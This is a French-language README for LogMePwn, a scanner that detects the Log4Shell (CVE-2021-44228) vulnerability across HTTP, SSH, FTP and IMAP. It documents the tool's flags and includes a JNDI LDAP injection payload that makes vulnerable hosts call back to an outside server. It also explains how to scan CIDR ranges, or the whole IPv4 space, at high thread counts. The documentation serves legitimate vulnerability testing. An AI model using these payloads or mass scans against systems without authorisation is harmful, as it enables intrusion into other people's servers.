
Un kit de scan et de validation entièrement automatisé, fiable et ultra-rapide pour la vulnérabilité Log4J RCE CVE-2021-44228.
LogMePwn est une boîte à outils de scan et de validation entièrement automatisée, multi-protocole, fiable et ultra-rapide pour la vulnérabilité Log4J RCE CVE-2021-44228.

LogMePwn fonctionne en utilisant les Canary Tokens, qui fournissent à leur tour des notifications par email et webhook vers votre canal de communication préféré. Si vous avez un serveur de callback personnalisé, vous pouvez aussi l'utiliser !
Pour utiliser l'outil, vous pouvez télécharger un binaire depuis la section Releases selon votre distribution et l'utiliser. Si vous voulez compiler l'outil, vous aurez besoin de Go >= 1.13. Clonez simplement le dépôt et exécutez go build.
Voici l'utilisation de base de l'outil :
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
NOUVEAU : Cette fonctionnalité a été introduite dans la v2.0.
Avec la dernière version, le support de multiples protocoles a été introduit. Pour l'instant, nous avons 4 protocoles différents :
Si vous ne spécifiez pas de protocole via l'argument -protocol, l'outil exécutera tous les plugins pour chaque protocole supporté sur l'ensemble des ports par défaut mentionnés.
Voir comment contrôler les ports pour chaque protocole.
Exemple :
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scans for all protocols on default ports
Les cibles peuvent être spécifiées de deux manières : via l'interface en ligne de commande comme arguments, ou via un fichier.
NOUVEAU : Vous pouvez désormais passer des plages CIDR à scanner ! Cette fonctionnalité a été introduite dans la v1.1.
Exemple :
./lmp <other args here> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30
Chaque protocole a une liste de ports par défaut associée qui peut être ajustée à l'aide des drapeaux suivants :
-http-ports pour HTTP.-imap-ports pour IMAP.-ssh-ports pour SSH.-ftp-ports pour FTP.Si l'utilisateur mentionne une paire hôte+port sous la forme host:port, la liste des ports par défaut est ignorée et toutes les vérifications sont effectuées pour ce port spécifique. Si -protocol n'est pas mentionné, tous les plugins de tous les protocoles seront testés sur le même port.
Cette fonctionnalité a été introduite dans la v1.1.
Vous pouvez spécifier une charge utile directement via l'argument -payload. Cependant, si vous voulez que le nom DNS de l'hôte testé apparaisse dans la charge utile, vous pouvez spécifier une directive de formatage $DNSNAME$ qui sera remplacée par la cible contre laquelle la charge utile est testée.
Par exemple, si vous fournissez une commande comme celle-ci :
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
Alors lors de l'envoi d'une requête HTTP à l'URL, la charge utile ressemblera à :
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
Cette fonctionnalité vous aide à évaluer quels hôtes sont vulnérables lors du fuzzing en boîte noire.
Vous pouvez également spécifier une charge utile contenant plusieurs variations via le même argument. (Voir payloads-sample.txt). Exemple :
./lmp -payload payloads-sample.txt vulnerable.site.com
NOTE : Cette fonctionnalité ne fonctionne pas avec les Canary Tokens. Canarytokens ne prend pas en charge les formats DNS personnalisés.
NOTE : Si vous fournissez une charge utile personnalisée avec
-payload, il n'est PAS nécessaire de spécifier un canal de notification. La charge utile elle-même doit contenir votre serveur de callback.
Les canaux de notification peuvent être l'un des suivants :
-email)-webhook)-custom-server)L'outil utilise les Canary Tokens, vous pouvez en créer un depuis ici, ou laisser l'outil en créer un pour vous. Si l'outil crée un jeton, celui-ci sera écrit dans un fichier nommé canarytoken-logmepwn.json, qui contiendra le jeton lui-même et l'auth (les deux sont nécessaires pour voir les déclencheurs via l'interface web).
Si vous avez déjà un jeton, vous pouvez utiliser l'argument -token pour utiliser le jeton directement sans en créer un nouveau.
NOTE : Si vous fournissez un email ou un webhook, l'outil créera un canary token personnalisé. Si vous utilisez un serveur de callback personnalisé, les jetons n'entrent pas en jeu.
L'outil offre une grande flexibilité lors de l'envoi de requêtes. Par défaut, l'outil utilise des requêtes GET. Un ensemble d'en-têtes par défaut est utilisé, chacun contenant une charge utile dans sa valeur. Vous pouvez spécifier un ensemble personnalisé d'en-têtes via l'argument -headers. Vous pouvez utiliser le commutateur -headers-file pour fournir un fichier contenant une liste d'en-têtes. Exemples :
./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <other args> -headers-file headers.txt 1.2.3.4:8080
Vous pouvez spécifier la liste des méthodes HTTP à utiliser pour le scan via le commutateur -methods. Pour les requêtes contenant un corps, par exemple POST, PUT, etc., vous pouvez personnaliser le contenu des corps.
Par défaut, l'outil envoie une charge utile directement via le corps. L'outil offre une personnalisation du corps de la manière suivante :
-json pour que le corps de la requête soit de type JSON.-xml pour le format XML.-fbody pour spécifier une chaîne de format personnalisée dans laquelle la charge utile sera injectée. Cela permet une création de requête complexe lors des tests. Par exemple, si vous voulez envoyer le contenu en HTML, cela peut ressembler à ceci :
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
Vous pouvez spécifier une valeur d'en-tête user-agent personnalisée via le commutateur -user-agent.
L'outil est optimisé pour scanner un large éventail de cibles. Avec une bande passante réseau et un matériel suffisants, vous pouvez scanner tout l'espace IPv4 en une journée. Le nombre par défaut de threads concurrents à utiliser lors du scan est fixé à 10 (optimisé pour la fiabilité sur du matériel local). La valeur peut aller jusqu'à des milliers (je vous laisse la tâche de benchmarking). :)
Utilisez le commutateur -threads pour fournir le nombre de threads à utiliser avec l'outil.
Étant donné qu'un grand nombre de requêtes HTTP sont impliquées, cela peut être une tâche lourde pour l'hôte distant de gérer les requêtes. Le paramètre -delay est là pour vous aider dans ces cas. Vous pouvez spécifier une valeur de délai en secondes -- qui sera utilisée entre deux requêtes successives vers le même port sur un serveur.
Pour démontrer le scanner, j'utilise une configuration vulnérable de @christophetd avec docker :
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Ensuite, j'exécute l'outil contre la configuration :
./lmp -email [email protected] -protocol http 127.0.0.1:8080

Ce qui a immédiatement déclenché quelques requêtes DNS visibles sur la page d'historique du jeton ainsi que sur mon email :

Mises à jour dans la version v2.0 :
Mises à jour dans la version v1.1 :
N'hésitez pas à me contacter sur Twitter ou à créer une issue ou une PR.
L'outil est sous licence GNU GPLv3. LogMePwn est actuellement en v2.0.
Un grand merci à l'équipe de Thinkst Canary pour leur incroyable projet Canary Tokens.
Réalisé avec ♡ par Pinaki (@0xInfection).